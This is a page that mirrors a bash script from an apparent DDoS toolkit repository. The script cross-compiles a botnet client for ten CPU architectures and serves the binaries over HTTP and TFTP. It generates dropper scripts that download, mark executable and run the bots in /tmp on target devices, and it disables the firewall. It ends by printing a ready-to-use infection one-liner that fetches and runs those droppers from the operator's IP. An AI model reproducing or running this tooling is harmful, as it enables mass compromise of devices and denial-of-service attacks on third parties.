Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/NSA-edited.8b7928.sh
5038 views
1
#!/bin/bash
2
echo -e '\x1b[31m###############################################################################'
3
echo -e '\x1b[31m* ___ __________ ____ _______ _____ _______________.___. ___ *'
4
echo -e '\x1b[31m* / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\ *'
5
echo -e '\x1b[31m* \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/ *'
6
echo -e '\x1b[31m* | | \ | / | \/ | \ | \\____ | *'
7
echo -e '\x1b[31m* |______ / |___\____|__ /\____|__ /____|_ // ______| *'
8
echo -e '\x1b[31m* \/ \/ \/ \/ \/ *'
9
echo -e '\x1b[31m###############################################################################'
10
echo -e "\x1b[31mNSA-EDITED.sh | BUILD DATE: 6-17-16\r\n"
11
echo -e "\x1b[31mUsage: sh NSA-edited.sh [BOTNAME.c] DONT BE A DUMBASS AND RUN IT OTHERWISE"
12
yum install perl -y;yum install gcc -y;yum install gcc-c++ -y;yum install cpan -y;yum install httpd -y;yum install tftp -y;yum install screen -y;yum install nano -y;yum install unzip -y;yum install tar -y;yum install wget -y;yum install curl -y;yum install busybox -y;yum install python-paramiko -y
13
14
#########################################
15
###############Botnames##################
16
#########################################
17
L1='jackmymipsel' #mipsel
18
L2='jackmymips' #mips
19
L3='jackmysh4' #sh4
20
L4='jackmyx86' #x86_64
21
L5='jackmyarmv6' #armv6l
22
L6='jackmyi686' #i686
23
L7='jackmypowerpc' #powerpc
24
L8='jackmyi586' #i586
25
L9='jackmym86k' #m86k
26
L10='jackmysparc' #sparc
27
28
#########################################
29
##############Wgetlinks##################
30
#########################################
31
mips='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2'
32
mipsel='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2'
33
sh4='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2'
34
x86_64='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2'
35
armv6l='http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2'
36
i686='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2'
37
ppc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2'
38
i586='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2'
39
m68k='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2'
40
sparc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2'
41
apt-get install tar
42
yum install tar -y
43
44
#########################################
45
################Wgetting#################
46
#########################################
47
if [ -d cross-compiler-mips ]
48
then
49
echo -e "\e[0;31mcross-compiler-mips is present, no need for wget"
50
else
51
wget --quiet $mips --no-check-certificate
52
tar -xvjf cross-compiler-mips*
53
fi
54
if [ -d cross-compiler-mipsel ]
55
then
56
echo -e "\e[0;31mcross-compiler-mipsel is present, no need for wget"
57
else
58
wget --quiet $mipsel --no-check-certificate
59
tar -xvjf cross-compiler-mipsel*
60
fi
61
if [ -d cross-compiler-sh4 ]
62
then
63
echo -e "\e[0;31mcross-compiler-sh4 is present, no need for wget"
64
else
65
wget --quiet $sh4 --no-check-certificate
66
tar -xvjf cross-compiler-sh4*
67
fi
68
if [ -d cross-compiler-x86_64 ]
69
then
70
echo -e "\e[0;31mcross-compiler-x86_64 is present, no need for wget"
71
else
72
wget --quiet $x86_64 --no-check-certificate
73
tar -xvjf cross-compiler-x86_64*
74
fi
75
if [ -d cross-compiler-armv6l ]
76
then
77
echo -e "\e[0;31mcross-compiler-armv6l is present, no need for wget"
78
else
79
wget --quiet $armv6l --no-check-certificate
80
tar -xvjf cross-compiler-armv6l*
81
fi
82
if [ -d cross-compiler-powerpc ]
83
then
84
echo -e "\e[0;31mcross-compiler-powerpc is present, no need for wget"
85
else
86
wget --quiet $ppc --no-check-certificate
87
tar -xvjf cross-compiler-powerpc*
88
fi
89
if [ -d cross-compiler-m68k ]
90
then
91
echo -e "\e[0;31mcross-compiler-m68k is present, no need for wget"
92
else
93
wget --quiet $m68k --no-check-certificate
94
tar -xvjf cross-compiler-m68k*
95
fi
96
if [ -d cross-compiler-sparc ]
97
then
98
echo -e "\e[0;31mcross-compiler-sparc is present, no need for wget"
99
else
100
wget --quiet $sparc --no-check-certificate
101
tar -xvjf cross-compiler-sparc*
102
fi
103
if [ -d cross-compiler-i586 ]
104
then
105
echo -e "\e[0;31mcross-compiler-i586 is present, no need for wget"
106
else
107
wget --quiet $i586 --no-check-certificate
108
tar -xvjf cross-compiler-i586*
109
fi
110
if [ -d cross-compiler-i686 ]
111
then
112
echo -e "\e[0;31mcross-compiler-i686 is present, no need for wget"
113
else
114
wget --quiet $i686 --no-check-certificate
115
tar -xvjf cross-compiler-i686*
116
fi
117
rm -rf *.tar.bz2
118
echo -e "\x1b[31mDONE...NOW TO COMPILE THE SHIT"
119
sleep 3
120
121
#########################################
122
##############Compiling##################
123
#########################################
124
./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -DMIPSEL -o $L1 $1 > /dev/null 2>&1
125
./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o $L2 $1 > /dev/null 2>&1
126
./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o $L3 $1 > /dev/null 2>&1
127
./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx86_64 -o $L4 $1 > /dev/null 2>&1
128
./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -Darmv6l -o $L5 $1 > /dev/null 2>&1
129
./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o $L6 $1 > /dev/null 2>&1
130
./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dpowerpc -o $L7 $1 > /dev/null 2>&1
131
./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -Di586 -o $L8 $1 > /dev/null 2>&1
132
./cross-compiler-m86k/bin/m86k-gcc -static -lpthread -pthread -Dm86k -o $L9 $1 > /dev/null 2>&1
133
./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o $L10 $1 > /dev/null 2>&1
134
apt-get install apache2; apt-get install php5 -y -q
135
yum install httpd; yum install php -y -q
136
mv jackmy* /var/www/html/
137
echo -e "\x1b[31mRESTARTING YOUR HTTPD BITCH"
138
service httpd start
139
service apache2 restart
140
141
#########################################
142
#########Setting up gtop.sh##############
143
#########################################
144
cd /var/www/html/; rm -rf gtop.sh
145
cd /var/www/html/; touch gtop.sh
146
147
echo -e "\x1b[31mMAKING GTOP.SH"
148
echo -e "\x1b[31mDONT BE LIKE CODE, AND WAIT A DAMN MINUTE!!!!"
149
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L1 && chmod +x $L1 && ./$L1">> gtop.sh
150
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L2 && chmod +x $L2 && ./$L2">> gtop.sh
151
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L3 && chmod +x $L3 && ./$L3">> gtop.sh
152
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L4 && chmod +x $L4 && ./$L4">> gtop.sh
153
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L5 && chmod +x $L5 && ./$L5">> gtop.sh
154
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L6 && chmod +x $L6 && ./$L6">> gtop.sh
155
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L7 && chmod +x $L7 && ./$L7">> gtop.sh
156
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L8 && chmod +x $L8 && ./$L8">> gtop.sh
157
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L9 && chmod +x $L9 && ./$L9">> gtop.sh
158
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L10 && chmod +x $L10 && ./$L10">> gtop.sh
159
160
yum install xinetd tftp tftp-server -y
161
echo -e "# default: off
162
# description: The tftp server serves files using the trivial file transfer \
163
# protocol. The tftp protocol is often used to boot diskless \
164
# workstations, download configuration files to network-aware printers, \
165
# and to start the installation process for some operating systems.
166
service tftp
167
{
168
socket_type = dgram
169
protocol = udp
170
wait = yes
171
user = root
172
server = /usr/sbin/in.tftpd
173
server_args = -s -c /var/lib/tftpboot
174
disable = no
175
per_source = 11
176
cps = 100 2
177
flags = IPv4
178
}
179
" >> /etc/xinetd.d/tftp
180
service xinetd start
181
cp jackmy* /var/lib/tftpboot/
182
183
#########################################
184
#########Setting up tftp.sh##############
185
#########################################
186
cd /var/lib/tftpboot; rm -rf tftp1.sh
187
cd /var/lib/tftpboot; touch tftp1.sh
188
189
echo -e "\x1b[31mMAKING TFTP1.SH"
190
echo -e "\x1b[31mONCE AGAIN, WAIT A DAMN MINUTE!!!!"
191
echo "cp /bin/busybox -O /tmp/badbox">> tftp1.sh
192
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L1;cat $L1 >badbox;chmod +x *;./badbox">> tftp1.sh
193
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L2;cat $L2 >badbox;chmod +x *;./badbox">> tftp1.sh
194
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L3;cat $L3 >badbox;chmod +x *;./badbox">> tftp1.sh
195
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L4;cat $L4 >badbox;chmod +x *;./badbox">> tftp1.sh
196
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L5;cat $L5 >badbox;chmod +x *;./badbox">> tftp1.sh
197
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L6;cat $L6 >badbox;chmod +x *;./badbox">> tftp1.sh
198
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L7;cat $L7 >badbox;chmod +x *;./badbox">> tftp1.sh
199
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L8;cat $L8 >badbox;chmod +x *;./badbox">> tftp1.sh
200
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L9;cat $L9 >badbox;chmod +x *;./badbox">> tftp1.sh
201
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L10;cat $L10 >badbox;chmod +x *;./badbox">> tftp1.sh
202
203
#########################################
204
#########Setting up tftp2.sh#############
205
#########################################
206
cd /var/lib/tftpboot; rm -rf tftp2.sh
207
cd /var/lib/tftpboot; touch tftp2.sh
208
209
echo -e "\x1b[31mMAKING TFTP2.SH"
210
echo -e "\x1b[31mFOR THE LAST TIME HOLD THE FUCK ON!!!!"
211
echo "cp /bin/busybox -O /tmp/badbox">> tftp2.sh
212
echo "tp -r $L1 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L1 >badbox;chmod +x *;./badbox">> tftp2.sh
213
echo "tp -r $L2 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L2 >badbox;chmod +x *;./badbox">> tftp2.sh
214
echo "tp -r $L3 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L3 >badbox;chmod +x *;./badbox">> tftp2.sh
215
echo "tp -r $L4 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L4 >badbox;chmod +x *;./badbox">> tftp2.sh
216
echo "tp -r $L5 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L5 >badbox;chmod +x *;./badbox">> tftp2.sh
217
echo "tp -r $L6 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L6 >badbox;chmod +x *;./badbox">> tftp2.sh
218
echo "tp -r $L7 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L7 >badbox;chmod +x *;./badbox">> tftp2.sh
219
echo "tp -r $L8 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L8 >badbox;chmod +x *;./badbox">> tftp2.sh
220
echo "tp -r $L9 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L9 >badbox;chmod +x *;./badbox">> tftp2.sh
221
echo "tp -r $L10 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L10 >badbox;chmod +x *;./badbox">> tftp2.sh
222
223
#########################################
224
###############RESTARTING SERVICES#######
225
#########################################
226
echo -e'\x1b[34mSTOPPING IPTABLES'
227
service iptables stop
228
chkconfig iptables off
229
echo -e'\x1b[34mRESTARTING HTTPD'
230
service httpd restart
231
echo -e'\x1b[34mRESTARTING XINETD'
232
service xinetd restart
233
234
#########################################
235
###############CREDZ#####################
236
#########################################
237
echo -e "\x1b[37mRECODED BY ~B1NARY~"
238
echo -e "\x1b[37mSkype: bl4ck.j3sus|XMPP: [email protected]"
239
echo -e "\x1b[32mYour link: cd /tmp; wget http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/gtop.sh || curl -O http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; busybox tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//'); chmod 777 tftp2.sh; sh tftp2.sh; rm -rf gtop.sh tftp1.sh tftp2.sh\r\n"
240
241
#########################################
242
###############ULIMIT####################
243
#########################################
244
cd /var/www/html/;rm -rf *c
245
cd /root
246
ulimit -Hn 999999; ulimit -Sn 99999
247
ulimit -u 999999;ulimit -n 999999
248
sysctl -w fs.file-max=999999 >/dev/null
249
echo "#.bashrc">> .bashrc
250
echo "#ulimit set">> .bashrc
251
echo "ulimit -u 999999">> .bashrc
252
echo "ulimit -n 999999">> .bashrc
253
bash
254
255